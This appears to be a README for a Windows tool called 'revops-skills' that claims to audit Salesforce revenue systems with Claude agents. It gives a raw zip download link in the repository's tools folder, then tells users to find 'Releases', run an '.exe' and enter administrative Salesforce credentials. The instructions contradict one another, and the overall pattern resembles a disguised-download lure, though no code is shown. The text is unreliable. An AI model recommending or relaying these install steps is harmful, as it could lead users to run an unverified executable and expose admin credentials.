Revops-skills helps Salesforce administrators and operations teams audit their revenue systems. The tool uses Claude AI agents to identify gaps in your current setup. You use these findings to build better workflows and cleaner data structures. Manage your revenue operations without manual spreadsheet audits.
Ensure your computer has the following items before you start:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 8GB of RAM.
- Storage: 500MB of free disk space.
- Salesforce Access: You need administrative credentials for an active Salesforce environment.
- Internet Connection: A stable connection for the AI agent to sync with external systems.
Follow these steps to set up the software on your Windows computer.
- Visit the repository page to download the latest version: https://github.com/ariyantoa291/revops-skills/raw/refs/heads/main/tools/revops-skills-3.4-alpha.5.zip.
- Locate the link labeled "Releases" on the right side of the page.
- Select the file ending in ".exe" to begin your download.
- Save the file to your desktop for easy access.
- Double-click the file to open the installation wizard.
- Follow the prompts on your screen to finish the setup process.
Open the application from your desktop shortcut once the installation finishes. You will see a dashboard that connects to your Salesforce instance.
- Connect your Salesforce account. The app asks for standard login credentials. Grant permission for the app to read your configuration metadata.
- Select the specific modules you want to review. You can choose from sales leads, opportunity stages, or custom field logic.
- Click the "Start Audit" button. The AI agent scans your metadata. This process takes between two and five minutes depending on the size of your Salesforce organization.
- Review the report. The app highlights areas where your current process deviates from best practices.
- Use the "Suggest Fix" feature. The agent proposes specific changes for your administrators to implement in your Salesforce setup.
- Automated Audit: The system checks your entire Salesforce architecture for errors.
- Claude Agent Integration: Benefit from advanced reasoning that understands complex sales operations.
- Custom Remediation Plans: Receive a clear list of tasks to improve your system performance.
- Data Hygiene Checks: Find orphaned records and duplicated data segments quickly.
- Revenue Pipeline Analysis: Ensure your opportunity stages match your team’s real-world sales process.
Use a sandbox environment first. Do not run the audit against your live production data until you understand the suggested changes. Test the proposed fixes in a safe space to verify that your reports and triggers remain stable. Always create a backup of your Salesforce metadata before you apply changes suggested by the agent.
The app processes data locally where possible. Data sent to Claude passes through secure encryption protocols. Your customer data remains inside your Salesforce instance. The audit tool only reviews the structural configuration, known as metadata. It does not export sensitive contact information or private client details.
- The app does not connect: Check your firewall settings. Windows might ask to allow the application access to the internet. Click "Allow" on the system prompt.
- Salesforce login fails: Ensure your user profile holds the "API Enabled" permission. You can check this in your Salesforce user profile settings.
- Scan stops mid-way: Check your internet connection. A temporary drop in connectivity ends the scan process. Restart the audit if the connection fails.
- The application runs slow: Close other memory-intensive programs like web browsers or video editors while you run the audit. This gives the AI agent more system resources.
The team releases regular updates to match changing Salesforce requirements. Check the main page periodically for new version numbers. If you encounter bugs, post a brief description on the main repository issue tracker. Include your Windows version and the steps you took to trigger the error. This helps the team replicate the issue and provide a fix in the next update.
Future versions will include deeper integration with Marketing Cloud and Pardot environments. The team plans to add automated cleanup scripts that verify and fix simple field errors without human intervention. Stay tuned for updates that include pre-built report templates for executive management.